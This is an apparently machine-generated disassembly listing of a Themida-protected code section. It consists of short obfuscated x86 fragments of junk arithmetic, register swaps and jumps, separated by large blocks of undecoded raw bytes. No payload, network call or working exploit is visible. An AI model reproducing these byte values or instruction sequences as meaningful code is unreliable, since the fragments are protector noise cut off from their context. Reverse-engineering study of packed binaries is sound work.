		dd 0B8F68100h, 89267C6Ah, 55505EF2h, 0AE9DE9h, 24148900h
		dd 99E99C50h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553487:				; CODE XREF: Themida_:00555DE7j
		add	bl, cl
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		jmp	loc_557B9C
; ---------------------------------------------------------------------------

loc_553495:				; CODE XREF: Themida_:0055A550j
		mov	edx, 1957F20h
		jmp	loc_55B83B
; ---------------------------------------------------------------------------
aZhb8svc	db 'şZhĄ8é‚c',0
		dd 242C8900h, 0BB3B09BDh, 0B12AE92Fh, 0E95D0000h, 5326h
		dd 0F0DCE959h, 59E90000h, 31FFFFCFh, 0D00159CAh, 80F6E9h
		dd 8BC82900h, 0C483240Ch, 2A2D6804h, 34890000h,	41C8BE24h
		dd 0DEF71FFEh, 2BBC681h, 0B8E94424h, 8B0000CCh,	0C4832404h
		dd 24148B04h, 8104C483h, 4ECh, 24048900h, 0C780FFB4h, 7234E954h
		dd 0CE010000h, 0D794E9h, 24148B00h, 8304C483h, 0FF5704C7h
		dd 5F042474h, 8B24048Fh, 0EC832424h, 24348904h,	887661BEh
		dd 0F9EB810Bh, 8158EC78h, 0D411DEC3h, 0B802E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55354A:				; CODE XREF: Themida_:005522A9j
		mov	edx, 2D4A1045h
		or	ebp, edx
		pop	edx
		sub	ebp, 0B759BEA0h
		add	edi, ebp
		pop	ebp
		add	ecx, edi
		jmp	loc_557BC1
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 1E4F2D5Eh, 0F801150Ah, 0FF7AE9h
		db 0
; ---------------------------------------------------------------------------

loc_553571:				; CODE XREF: Themida_:00553F24j
		push	ebx
		mov	ebx, 4E1843B8h
		xor	esi, ebx
		pop	ebx
		dec	esi
		add	esi, 9AE17872h
		add	ebx, 404A7045h
		add	ebx, esi
		sub	ebx, 404A7045h
		jmp	loc_5583B5
; ---------------------------------------------------------------------------
		dd 8002C483h, 0E2C0A6F2h, 81CAFE04h, 4ECh, 24048900h, 5150E9h
		dd 24348900h, 552AB850h, 2057C33h, 5639635Eh, 225EFCBEh
		dd 8E6C16Ah, 0E955DEF7h, 0F915h, 0D61BE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5535D2:				; CODE XREF: Themida_:0055B2C1j
		mov	eax, 4
		add	edi, 357E4BC8h
		add	edi, eax
		jmp	loc_55552C
; ---------------------------------------------------------------------------

loc_5535E4:				; CODE XREF: Themida_:0056299Ej
		mov	eax, 4
		sub	edx, 6E3C4A97h
		add	edx, eax
		jmp	loc_557997
; ---------------------------------------------------------------------------

loc_5535F6:				; CODE XREF: Themida_:0055B324j
		push	edx
		mov	edx, 1E34002Eh
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55BA62
; ---------------------------------------------------------------------------
aAL1Suj		db 'š [l',0Ah
		db '1Ďéă†',0
		dw 5100h
		dd 974DCEB9h, 8BCF8972h, 0C483240Ch, 0E6B0E904h, 0C483FFFFh
		dd 243C8704h, 6EA4E9h, 2FF16800h, 24890000h, 24048324h
		dd 241C8B04h, 4C481h, 0E9510000h, 82E7h, 81E18951h, 4C1h
		dd 4C18300h, 5C240C87h,	8B24048Fh, 4302424h, 0A9E99C24h
		dd 8BFFFFCDh, 0C483240Ch, 0E9D48804h, 10D98h, 4BA525Bh
		dd 1000000h, 2434FFD3h,	4C4835Ah, 4C381h, 1C870000h, 24248B24h
		dd 4C581h, 89560000h, 4C681E6h,	81000000h, 4EEh, 24343300h
		dd 33243431h, 895C2434h, 1CE9243Ch, 56000118h, 0E267E7BEh
		dd 0B5EE817Eh, 81052264h, 3E3618EEh, 9BC6812Fh,	892D7DF4h
		dd 24348BF5h, 4C481h, 0C1E90000h, 66000123h, 6824048Bh
		dd 1870h, 89241489h, 0E78957E2h, 4C781h, 76E90000h, 0F70000FEh
		dd 815D2414h, 1C5h, 1640E900h, 0E9540001h, 0BF20h, 1B37C181h
		dd 0E981178Fh, 3954C983h, 624AC281h, 0CA293ECAh, 624AEA81h
		dd 0C8B3ECAh, 0E9545124h, 10B2Ah, 2414F751h, 28BE5659h
		dd 148CD54h, 0C9815EF1h, 51DE0D2Fh, 6BF8E9h, 2DE82900h
		dd 5FEC3B6Eh, 53C3315Dh, 42F768h, 24248900h, 4BE56h, 74010000h
		dd 0FF5E0424h, 9DE92434h, 5D00001Fh, 6EE9C101h,	550000E6h
		dd 0E01C33BDh, 5DEF891Bh, 677AC681h, 0FE012207h, 677AEE81h
		dd 0E95F2207h, 113BFh, 80A7E680h, 0ABE902F6h, 68000060h
		dd 15BBh, 0B9240C89h, 72340BB6h, 4108E1C1h, 0FFE916E9h
		dd 0D830ACFFh, 8904EC83h, 4BE92414h, 81000052h,	9C1E21EBh
		dd 81D32936h, 9C1E21C3h, 0C8B5A36h, 0DB10E924h,	0E5C1FFFFh
		dd 0E8F58108h, 0E9141C7Fh, 4246h, 66E9C788h, 81000118h
		dd 4D152404h, 401316Eh,	0CCC1E924h, 0C4FEFFFFh,	30E5C480h
		dd 18E958E2h, 0B300004Bh, 66DC0029h, 0FFE2885Bh, 48B2434h
		dd 3D17E924h, 1C8B0000h, 4C48324h, 245F295Ah, 81241C8Bh
		dd 4C4h, 5E545600h, 4C681h, 0BD550000h,	4, 335DEE29h, 34312434h
		dd 24343324h, 240C895Ch, 0B9B0E9h
		db 0
; ---------------------------------------------------------------------------

loc_553869:				; CODE XREF: Themida_:0055A80Ej
		sub	eax, 6CD319C6h
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [eax]
		mov	eax, [esp]
		push	edi
		jmp	loc_565204
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0FFDAA4E9h, 0D4E951FFh, 83000079h, 0FF042404h, 835B2434h
		dd 0C38104C4h, 4, 4EC81h, 4890000h, 41F8B824h, 0E9536799h
		dd 0C13Fh, 5EF20958h, 4114CA81h, 0BE5638F3h, 2D55227Bh
		dd 815EF201h, 0D60239C2h, 30F28157h, 89052A94h,	0F1215AD6h
		dd 0E9C15Eh, 840FC009h,	0FFFFCE2Eh, 8904EC83h, 0E6892434h
		dd 4BF57h, 0FE010000h, 2E94E95Fh, 34FF0000h, 53E95E24h
		dd 8300009Dh, 5904C4h, 0A312E9D0h, 25BA0000h, 810BC264h
		dd 0D85675EAh, 0B1D8E928h, 3C330000h, 24248B24h, 348BF389h
		dd 4C48324h, 4422C281h,	0A6E94151h, 5800004Fh, 0E993D0F7h
		dd 0C156h, 1ADBE781h, 0C78118DFh, 0B99448C8h, 15FFA31h
		dd 212D5AD0h, 11E8832h,	322105F8h, 0BE561E88h, 11EB7139h
		dd 5D32BD55h, 0EBE95016h, 81000059h, 215165F5h,	5DEF8957h
		dd 0A257E9h
		db 0
; ---------------------------------------------------------------------------

loc_553979:				; CODE XREF: Themida_:0055F749j
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_562CC4
; ---------------------------------------------------------------------------
		dd 525BF888h, 0F388C688h, 0D888585Ah, 5618E9h, 67C78100h
		dd 5A112825h, 31243C33h, 3C33243Ch, 24248B24h, 988AE9h
		dd 5D545500h, 4C581h, 0ED810000h, 4, 31242C33h,	2C33242Ch
		dd 24248B24h, 89241489h, 4C281E2h, 55000000h, 4BDh, 0E9EA2900h
		dd 0FC5Ch, 0CD881DBAh, 8BD02988h, 0C4812414h, 4, 0CE5BE9h
		dd 15685F00h, 8900006Bh, 74FF2434h, 8F5E0424h, 248B2404h
		dd 28172C24h, 661704D8h, 81241C8Bh, 2C4h, 4EC8100h, 89000000h
		dd 1CE9241Ch
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553A2B:				; CODE XREF: Themida_:00563BF8j
		shl	edx, 7
		shr	edx, 1
		not	edx
		dec	edx
		jmp	loc_5648B6
; ---------------------------------------------------------------------------

loc_553A38:				; CODE XREF: Themida_:0055BB52j
		sub	ebx, 4F2A2FE6h
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55D1E2
; ---------------------------------------------------------------------------
		dd 2434FF5Bh, 4C48359h,	3F6168h, 6586E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553A62:				; CODE XREF: Themida_:00559826j
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xchg	ebp, ecx
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		xchg	ecx, ebp
		xchg	ebp, ecx
		jmp	loc_552C1C
; ---------------------------------------------------------------------------
		db 0F7h
aZS?		db '҇Óé\?',0
		align 4
		dd 502DEE80h, 4EC81h, 0C890000h, 31FE924h, 0CA810000h
		dd 22A71C49h, 37EBEA81h, 0D701FA28h, 24048B5Ah,	5204C483h
		dd 321F68h, 24048900h, 25FFE957h, 0C4810000h, 4, 52595451h
		dd 4BAh, 5AD10100h, 4C181h, 0BFE90000h,	89000108h, 4C181E1h
		dd 0E9000000h, 0DB22h, 0EF5AE952h, 0EB80FFFFh, 0E128E9DCh
		dd 5954FFFFh, 4C181h, 0E9830000h, 240C8704h, 0EB70E95Ch
		dd 8B660000h, 82E92404h, 100007Ch, 0FF5659CEh, 5E042474h
		dd 5C24048Fh, 2EA81h, 9EE90000h, 0BB000063h, 740B5117h
		dd 2D68h, 9EAEE900h, 33580000h,	25E92414h, 0FFFFDBh, 662E04D8h
		dd 66422868h, 68241489h, 6F90h,	7BF0E9h, 80C7FE00h, 0F80049EFh
		dd 2CF0005Bh, 285A66F8h, 0FED68F8h, 14890000h, 0C027B224h
		dd 0EAC008E2h, 65E95003h, 830000E5h, 6C6804C4h,	89000007h
		dd 6850240Ch, 18DC4868h, 34940558h, 0C189168Eh,	0E0E1E958h
		dd 0C8BFFFFh, 4C48324h,	8B66E288h, 0E5E92404h, 50FFFFF9h
		dd 24048B54h, 0FFF6BAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553BB9:				; CODE XREF: Themida_:0055B056j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5641A4
; ---------------------------------------------------------------------------
		dd 0A1B1515Ah, 0E9F5F180h, 0F4Bh
; ---------------------------------------------------------------------------

loc_553BDC:				; CODE XREF: Themida_:0055FB68j
		push	ebp
		mov	ebp, 339A3A6Fh
		jmp	loc_552C0C
; ---------------------------------------------------------------------------

loc_553BE7:				; CODE XREF: Themida_:005622AEj
		jz	loc_55469E
		push	3784h
		mov	[esp], ebx
		jmp	loc_55201C
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 799655FDh, 4E23E9h, 48F5800h, 0FF665C24h, 0E99C240Ch
		dd 0FFFFC80Ch, 0BE56E0D1h, 613CFC02h, 9C77E9h, 40478F00h
		dd 0FFC7F7E9h, 24248BFFh, 53240C89h, 1CBBh, 0E9D98900h
		dd 0BF9Bh, 4C381h, 5A680000h, 0E9000066h, 0E95Fh, 8702C083h
		dd 665C2404h, 5224048Bh, 0C2815A54h, 4,	4EC81h,	2C890000h
		dd 4BA5224h, 89000000h,	0EA295AD5h, 2414875Dh, 242C895Ch
		dd 20E9E589h, 8B0000D3h, 0E7C12424h, 1904E908h,	0E95F0000h
		dd 0FFFFDCA4h, 592434FFh, 68585450h, 5549h, 0B9240C89h
		dd 228F79E0h, 201EBD55h, 5045612Fh, 0C31C7EB8h,	58C5011Eh
		dd 583ECD81h, 0C581243Fh, 7AC127CCh, 6AE3ED81h,	0E909EB0Bh
		dd 0D3BB535Dh, 8100A742h, 382378C3h, 2EBC11Ah, 0EAC2E9h
		dd 2C68300h, 5C243487h,	0E99CC884h, 0FFFFC730h,	0FF242C89h
		dd 5D042474h, 8B24048Fh, 66642424h, 85E90289h, 81000011h
		dd 31206DEAh, 5AD529EDh, 0D31EF581h, 0EA89A8A4h, 51C1815Dh
		dd 1059801h, 51E981D1h,	8B059801h, 0C4812414h, 4, 0E981F901h
		dd 1EAB19E4h, 5F2434FFh, 83E18951h, 348904ECh, 4F99E924h
		dd 4BF0000h, 0E9000000h, 0FFFFD860h, 19EBBE56h,	0B85028E3h
		dd 44C23E1Fh, 48BC631h,	4C48324h, 5701C683h, 9D21D5BFh
		dd 5FFE3172h, 5216E94Eh, 0C4830000h, 28BF5704h,	0F73B7E2Ch
		dd 0D6E955DFh, 5700005Fh, 13176268h, 0F7815F45h, 45131766h
		dd 0C1D8E9h, 0C8B6600h,	6657E924h, 0C8B0000h, 7DBAE924h
		dd 0C3810000h, 461F2A1Dh, 62FAE9h, 0F0885000h, 8858C188h
		dd 0E6A0E9C8h, 0C4810000h, 4, 23E9F681h, 0F5018104h, 11828E9h
		dd 242C8900h, 0C021ABBDh, 91F5811Fh, 2D544543h,	5C0B1D71h
		dd 7105E829h, 5D5C0B1Dh, 0FDED9035h, 0E9C189B4h, 0FFFFED01h
; ---------------------------------------------------------------------------

loc_553E00:				; CODE XREF: Themida_:00563485j
		dec	edi
		shr	edi, 8
		inc	edi
		sub	edi, 0C00A9DE4h
		sub	eax, 6B24FA0h
		jmp	loc_559671
; ---------------------------------------------------------------------------
		db 0FEh, 0C2h, 80h
		dd 0C2803CC2h, 80DAF6D2h, 93E913CAh, 0BB000090h, 6812004Ch
		dd 815BDA31h, 9A20ADF2h, 5AD32140h, 5743D3F7h, 7F5D39BFh
		dd 0EF814F4Bh, 6E286C8Ah, 0F781D7F7h, 86D09646h, 52E9FB31h
		dd 89FFFFD6h, 0CFBF243Ch, 8119A371h, 6FEA3DC7h,	0A6C38133h
		dd 296CC56Bh, 0A6EB81FBh, 5F6CC56Bh, 11ECBB53h,	0DA017D79h
		dd 0FFE517E9h, 0E9D789FFh, 0FFFFE6C1h
; ---------------------------------------------------------------------------

loc_553E88:				; CODE XREF: Themida_:00551549j
		push	esi
		push	1F1E0877h
		pop	esi
		push	ebx
		mov	ebx, 48716278h
		push	edx
		jmp	loc_5566D4
; ---------------------------------------------------------------------------
		db 81h
		dd 0FB6AB9F7h, 71BF5773h, 814F9F71h, 835413EFh,	5FF82926h
		dd 837BD705h, 2DF8017Dh, 7D837BD7h, 1C1D5E05h, 0BE565F29h
		dd 2, 0E95EF001h, 0CB37h, 0B3C6815Eh, 89344D76h, 0EFE4E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553EDE:				; CODE XREF: Themida_:00551324j
		mov	[esp], ecx
		mov	ecx, 59FA113Dh
		and	ecx, 7703440Fh
		sub	ecx, 3316370h
		sub	ecx, 0FFFFFFFFh
		add	ecx, 1BD26A8Bh
		mov	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, 6BBA5C31h
		xor	ebp, esi
		pop	esi
		inc	ebp
		sub	ebp, 0FAE45326h
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		pop	ebp
		push	esi
		mov	esi, 772951B8h
		and	esi, 3B807F23h
		jmp	loc_553571
; ---------------------------------------------------------------------------
		db 49h,	0F7h, 0D1h
		dd 2218F181h, 576840B1h, 89000060h, 4DE9240Ch
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_553F3F:				; CODE XREF: Themida_:0055B5ADj
		push	28E56396h
		pop	eax
		add	eax, 0FFFFFFFFh
		push	edx
		mov	edx, 2FF7C144h
		jmp	loc_55C889
; ---------------------------------------------------------------------------
		db 1
		dd 0F1ED81FDh, 0E9653B6Bh, 0FFFFD067h, 0D3F7DBF7h, 0D9BD5557h
		dd 0BF28E161h, 6FF628E6h, 815DEF31h, 0C14466E7h, 11E7811Ah
		dd 0C100FF52h, 0E95703E7h, 9DA1h, 24343359h, 7088E9h, 241C8B00h
		dd 0C104C483h, 11E903E2h, 0FFFFFFE4h, 0C47AE930h, 0CD89FFFFh
		dd 0DA9FE9h
		db 0
; ---------------------------------------------------------------------------

loc_553FAD:				; CODE XREF: Themida_:0055ABF2j
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, 14DA0C2Dh
		shr	ebp, 7
		jmp	loc_552159
; ---------------------------------------------------------------------------
		dd 3DF9EA81h, 0EAC173D0h, 6CAE907h, 14890001h, 535A5424h
		dd 2F67A2BBh, 0D37EE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553FE2:				; CODE XREF: Themida_:005570EAj
		mov	[esp], ebx
		push	6454h
		mov	[esp], edi
		mov	edi, 77070156h
		jmp	loc_5640C3
; ---------------------------------------------------------------------------
		db 2Dh
		dd 45D23EF3h, 5624348Bh, 39E9E689h, 0F70000B8h,	4E2C1DAh
		dd 93FC281h, 0EA816F90h, 5FB32B52h, 61E9D689h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55401F:				; CODE XREF: Themida_:00561731j
		push	4E89h
		mov	[esp], edi
		mov	edi, 425C5656h
		and	edi, 50344784h
		push	ebp
		mov	ebp, 506207A0h
		add	edi, ebp
		jmp	loc_55F725
; ---------------------------------------------------------------------------

loc_55403F:				; CODE XREF: Themida_:00556FBCj
		push	esi
		mov	esi, 63D232E2h
		add	esi, 9C2DCD22h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_559C7E
; ---------------------------------------------------------------------------
		dd 512BF281h, 0F2811F43h, 1D6D460Eh, 863CC281h,	0D789E2C0h
		dd 528E9h, 88515A00h, 59EA88C5h, 0E924048Bh, 6DE1h, 0E95DEE89h
		dd 2D20h, 0BE565Ah, 0E978223Dh,	0FFFFCA68h, 4C2835Eh, 7995E9h
		dd 24040900h, 0C376E99Ch, 295FFFFFh, 2C81243Ch,	9963FD24h
		dd 243C8B65h, 219AE951h, 24890000h, 24048124h, 4, 2E3EE959h
		dd 0F5810000h, 6BEB75E8h, 0ED81EDD1h, 35FDB25Fh, 0FAE9EF89h
		dd 8900007Bh, 4C281E2h,	0E9000000h, 94F5h, 83242C8Bh, 0D82904C4h
		dd 2A1E685Bh, 14890000h, 66426824h, 685A63BEh, 70A0h, 354EE9h
		dd 2E6C100h, 0FEC9E9h, 4C38100h, 83000000h, 1C8704C3h
		dd 24248B24h, 9E78E90Dh, 0FDBE565Dh, 0E97FBE7Dh, 74DBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_5525BA
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 395Fh, 0BE9C15Ah, 1055CE9h, 41F86800h, 0E95F4894h
		dd 118FFh, 0EF6C981h, 0BA526519h, 26532F35h, 8904EC83h
		dd 0B3B82404h, 0C1748001h, 0B1E907E8h, 680000FDh, 53Eh
		dd 0E9241C89h, 82F9h, 5E29C581h, 0EE01C886h, 1173DE9h
		dd 11C38000h, 8C38058h,	0E9C0B60Fh, 1B6Eh
; ---------------------------------------------------------------------------

loc_5541A8:				; CODE XREF: Themida_:0055F6AAj
		pop	ebp
		or	ebp, 783001DCh
		push	esi
		mov	esi, 3F2E63D2h
		sub	ebp, 78A704D3h
		add	ebp, esi
		add	ebp, 78A704D3h
		pop	esi
		shl	ebp, 5
		jmp	loc_55F90B
; ---------------------------------------------------------------------------

loc_5541CC:				; CODE XREF: Themida_:0055215Fj
		add	ecx, 1AE023D4h
		sub	ecx, ebp
		push	esi
		mov	esi, 44E80375h
		or	esi, 4D712B04h
		and	esi, 4926BAFh
		xor	esi, 1E7008F1h
		jmp	loc_5634A6
; ---------------------------------------------------------------------------
		align 2
aSis		db 'Đ鈙',0
		align 4

loc_5541F8:				; CODE XREF: Themida_:005509A0j
		jmp	loc_550420
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 55h
		dd 3CAABF57h, 0C7811702h, 5A9533EEh, 89585750h,	0F75F58C5h
		dd 81D5F7DDh, 0A97441CDh, 0DDF74D7Ah, 74DAC581h, 0E8017BBFh
		dd 5242685Dh, 2C890000h, 1278BD24h, 0FDE93E35h,	81000021h
		dd 977A1CC3h, 24048B34h, 0E904C483h, 257Fh, 0E906EAC1h
		dd 0FFFFFDB3h, 505F5457h, 303DE9h, 4C48300h, 63C8BF57h
		dd 0C7813C30h, 62173E2Ch, 5E10C781h, 0FB0161B8h, 81243C8Bh
		dd 4C4h, 4EC8300h, 0BF243C89h, 4E567305h, 18CCC781h, 61E9267Ch
		dd 0B8FFFFE1h, 8C541A1h, 8C25D0F7h, 35795018h, 1A141B77h
		dd 0B858C289h, 94FBFC89h, 0E95AD001h, 0D219h, 74FF505Ch
		dd 0B5E90424h, 57000063h, 7641BA52h, 0D7891273h, 7643BD5Ah
		dd 0C5811273h, 7CD1410Eh, 2E9FD29h, 100009Dh, 0C335BD9h
		dd 240C3124h, 5C240C33h, 6CC0F681h, 8DE949BBh
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------

loc_5542F3:				; CODE XREF: Themida_:005512C2j
		push	ebx
		mov	ebx, 4BBF5F87h
		add	ebx, 6CE5042Ah
		xor	ebx, 20EB033Bh
		neg	ebx
		add	ebx, 4DC66D36h
		xor	ebx, 0AE862CABh
		xor	ebx, 60FD5CD4h
		xor	edx, ebx
		pop	ebx
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_556D5D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 14E4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554332:				; CODE XREF: Themida_:0055699Ej
		push	edx
		mov	edx, 4
		jmp	loc_55E15F
; ---------------------------------------------------------------------------

loc_55433D:				; CODE XREF: Themida_:00557D8Aj
		sub	edi, ebx
		jmp	loc_55F903
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 0BF67E9h, 0C8B6600h, 59545124h, 8904EC83h
		dd 49BB241Ch, 43727E16h, 0CB814B43h, 603736E5h,	7873E943h
		dd 0CF010000h, 68D70159h, 6B1h,	0E9240489h, 0FFFFCCD8h
		dd 29910559h, 2C8B4864h, 4C48124h, 33000000h, 4312404h
		dd 24043324h, 8924248Bh, 478F2404h, 24048B40h, 4B0968h
		dd 243C8900h, 0EC81E789h, 4, 0BD242C89h, 790D5D30h, 663EED81h
		dd 0E5D10064h, 81E78957h, 4C7h,	0E2D3E900h, 0E981FFFFh
		dd 3DE02F90h, 5385E181h, 0E9814A03h, 0A001000h,	0B0E9C801h
		dd 0F7FFFFECh, 0D8C581DDh, 0E9CC316Ch, 10199h, 0EBB8505Eh
		dd 0D6F1C34h, 1D03A2Eh,	0AD60E9h, 81E28900h, 4C2h, 3E0F6800h
		dd 30E90000h, 0F6000053h, 0FBCA80DAh, 0B353DAF6h, 80D3F605h
		dd 0E3C02EEBh, 1E38004h, 30A5C380h, 0ED2C5BDAh,	0E6D7E9h
		dd 0B8505500h, 4, 0E958C589h, 0F12Ah, 34FFD821h, 241C8B24h
		dd 8304C483h, 0C20904C4h, 6853E2D1h, 57A2h, 68241489h
		dd 764C3756h, 0F7D2F75Ah, 92BF57DAh, 5516F901h,	8D0343BDh
		dd 0C1D5F72Ch, 0E94503EDh, 3F36h
; ---------------------------------------------------------------------------

loc_55448C:				; CODE XREF: Themida_:0055F906j
		pop	edi

loc_55448D:				; CODE XREF: Themida_:00557EB3j
					; Themida_:0055F634j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_558460
; ---------------------------------------------------------------------------

loc_554498:				; CODE XREF: Themida_:00550DF8j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0E1h
		not	dh
		jmp	loc_55CD21
; ---------------------------------------------------------------------------
aBQNsA		db 'ÇƟŮnéÝ ',0
		db 0
; ---------------------------------------------------------------------------

loc_5544BB:				; CODE XREF: Themida_:005604C4j
		sub	ecx, 211C1333h
		and	edx, ecx
		pop	ecx
		xor	edx, 63AA0F1Dh
		sub	edx, 74C26FA2h
		not	edx
		sub	edx, 0DE18D173h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		and	ebx, 76BB6D22h
		jmp	loc_556CD4
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 744C419Ch, 582434FFh, 4EC81h, 1FE90000h, 5B0000DBh
		dd 315DEB01h, 0C8215BD9h, 0E9240C8Bh, 10CD8h, 2424D366h
		dd 0BF02E99Ch, 98B2FFFFh, 0CAFEC2FEh, 0FFCFD5E9h, 0EC815EFFh
		dd 4, 0BA241489h, 19A63BBBh, 81E68956h,	4C6h, 1477E900h
		dd 0E9810001h, 4DC67283h, 5724048Bh, 0C781E789h, 4, 0E904C783h
		dd 35F7h, 8324348Bh, 4F2104C4h,	2434FF1Ch, 0FFC97CE9h
		dd 243C8BFFh, 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFFD27Ah
; ---------------------------------------------------------------------------

loc_554588:				; CODE XREF: Themida_:00555A1Cj
		xor	ah, 7
		and	bl, ah
		mov	eax, [esp]
		add	esp, 4
		inc	bl
		jmp	loc_564E11
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0EBh
		dd 5B4A3BF8h, 0E950FB29h, 0F704h, 43E9CA01h, 810000FEh
		dd 41149EFh, 81F70149h,	41149C7h, 0EEBD5549h, 295BB202h
		dd 6EE95DEFh, 0B0000110h, 0F6C8FE80h, 0FED0F6D0h, 9049E9C0h
		dd 0C1080000h, 8124048Bh, 4C4h,	0E9D9F600h, 68A7h, 0B4189ABFh
		dd 77EA8179h, 810D6E7Eh, 9161B7C2h, 81FA0168h, 9161B7EAh
		dd 77C28168h, 8B0D6E7Eh, 18E9243Ch
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_554617:				; CODE XREF: Themida_:00562759j
		push	7E29h
		mov	[esp], ecx
		mov	ecx, 38466BC9h
		sub	ecx, 298D049Dh
		push	ebp
		mov	ebp, 0F6235E1h
		xor	ecx, ebp
		pop	ebp
		shr	ecx, 4
		push	ebp
		mov	ebp, 0FFE24AD8h
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_55D9E0
; ---------------------------------------------------------------------------

loc_554646:				; CODE XREF: Themida_:00559DABj
		xchg	edx, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------

loc_554656:				; CODE XREF: Themida_:00561F7Bj
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		or	ebx, ebx
		jnz	loc_560D6A
		push	eax
		push	ebp
		jmp	loc_55FDB1
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0C5h
aKght		db '-KGht$',0
		align 4
		dd 830FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55468D:				; CODE XREF: Themida_:0055A8EEj
		mov	ebx, 44CD4FEFh
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4

loc_55469E:				; CODE XREF: Themida_:loc_553BE7j
					; Themida_:005610FBj
		push	3DC7h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_558097
; ---------------------------------------------------------------------------
		db 0B6h, 12h, 0E9h
		dd 0FFFFD602h, 7D1634BDh, 3E7BB921h, 0E931364Bh, 0BBC1815Dh
		dd 292EDE08h, 2F9CE9D9h, 0E9810000h, 0C926367h,	8105E9C1h
		dd 9B6DE0E9h, 8BCE0107h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5652A5
; ---------------------------------------------------------------------------
		dd 5905E953h, 0C2810000h, 10C0080Ah, 0B951EA01h, 30ED3E31h
		dd 4102E1C1h, 0F0BBE981h, 0C281B2F4h, 18A541A7h, 0EA81CA29h
		dd 18A541A7h, 0B55E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554726:				; CODE XREF: Themida_:0055C203j
		push	ebp
		mov	ebp, 2A457C7h
		not	ebp
		jmp	loc_5622A5
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 242C8900h, 8DB4E9h
		db 0
; ---------------------------------------------------------------------------

loc_554745:				; CODE XREF: Themida_:0055976Cj
		add	esp, 4
		jmp	loc_55ABEA
; ---------------------------------------------------------------------------
		dd 241C8966h, 4207E9h, 0B8EE8100h, 56EB71B9h, 8324148Bh
		dd 0C0E904C4h, 83FFFFE1h, 1C8904ECh, 0C3685024h, 584F457Fh
		dd 79BCE9h, 2C556800h, 4890000h, 1355B824h, 0D2E96680h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55478F:				; CODE XREF: Themida_:00557872j
		push	52B8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_55D290
; ---------------------------------------------------------------------------

loc_5547AA:				; CODE XREF: Themida_:0055D893j
		add	edx, 1F403C05h
		pop	esi
		sub	edx, 436C50F0h
		add	edx, 0F8F009F2h
		and	edi, edx
		pop	edx
		xor	edi, 76322F21h
		xor	eax, edi
		pop	edi
		push	ebx
		jmp	loc_5526DC
; ---------------------------------------------------------------------------

loc_5547CF:				; CODE XREF: Themida_:00561919j
		mov	ebx, 54263F9Fh
		neg	ebx
		jmp	loc_5566C4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4EC81h, 34890000h, 1C0EBE24h, 0DCE9728Eh, 5C00008Fh
		dd 9C240401h, 0FFBC27E9h, 815D54FFh, 4C5h, 4C58100h, 0E9000000h
		dd 193Bh, 6A3CEB81h, 0F301613Bh, 6A3CB850h, 0C301613Bh
